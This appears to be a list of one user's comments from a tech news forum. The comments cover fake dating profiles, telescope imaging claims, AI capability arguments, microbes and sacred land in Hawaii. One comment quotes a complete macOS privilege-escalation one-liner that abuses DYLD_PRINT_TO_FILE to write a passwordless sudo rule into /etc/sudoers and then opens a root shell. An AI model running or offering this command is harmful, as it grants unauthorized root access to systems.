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Comment Re: Aha! (Score 2) 449

Entertainment is a very broad term. It is amusement or enjoyment. Only one party needs to derive said entertainment for the term to be valid, and as multiple parties can be taking part, including potentially operators or administrators of the site laughing about these pitiful guys messaging these fake profiles, the term still remains very much valid.

Comment Re: But can it be a Tweet? (Score 4, Informative) 130

It's a hip way of saying small. He found that invoking DYLD_PRINT_TO_FILE runs as root, and as such can allow a user to write to /etc/sudoers, giving the user sudo privileges, letting them sudo to root. echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s

Comment Re: Smaller than our moon from about 80x distance (Score 5, Insightful) 321

The claim is that using a modern day 20mp SLR imaging a planet the size of Jupiter, he can resolve better details using the same size telescope (which is itself false as the picture in question was taken with a 2in telescope, not the 8in telescope, but whatever!) and ignoring the fact that the image sensor on the probe is a decade old and only capable of 1024x1024 images... The guy wants advertising revenue and is getting it! Don't feed the trolls!

Comment Re: Never (Score 1) 152

Probably because these sorts of projects *begin* purely in a computer rather than a humanoid form? And as such peripherals connected to said computer and within its field of vision or awareness would be the initial extent of its capabilities... Again, you're making the assumption that from day one, we have a Terminator with a hive consciousness... Ability to learn, read, and adapt to differing stimuli is unquestioned and a desired result of a true self aware AI. But there are many steps between "cogito ergo sum" and "I can build myself a new arm in a room where I can't see what's going on as a means of leaving said room.

Comment Re: Never (Score 1) 152

You're making a wild assumption that *every* world AI would be one in this scenario, and as such intrinsically absorb any knowledge or experience of another. That is a pretty massive logical jump between *a self aware AI in your garage* and Skynet. If said AI is limited within the confines of a body to interact within the world that does not have appropriate dexterity to use or manipulate said tools, let alone grip them, how do you anticipate it wills itself into infinite utility?

Comment Re: It Has Begun! (Score 4, Insightful) 53

Or, as a more plausible answer, said microbes are capable of being transplanted quite easily, such as by winds, rains, migratory birds, and the like. That's not even mentioning contaminants that simply enter the water table from neighboring civilizations and are drank unknowingly by this people or their sources of food.

Comment Re: The tarnishing of spirits really helps (Score 1, Insightful) 228

And the reason why there are no cities nearby is precisely because the land is sacred. When the U.S. came to Hawaii, they took much of the native people's lands. The idea of mass demolition of a holy site simply because it does not appear to comply with angio-saxon definitions of what should and should not be holy is not a matter that should be taken flippantlyly. Consider various Native American tribes practices and and ideals with regards to respect for land. It is the source of life. The act of destroying it violently could be seen as offensive.

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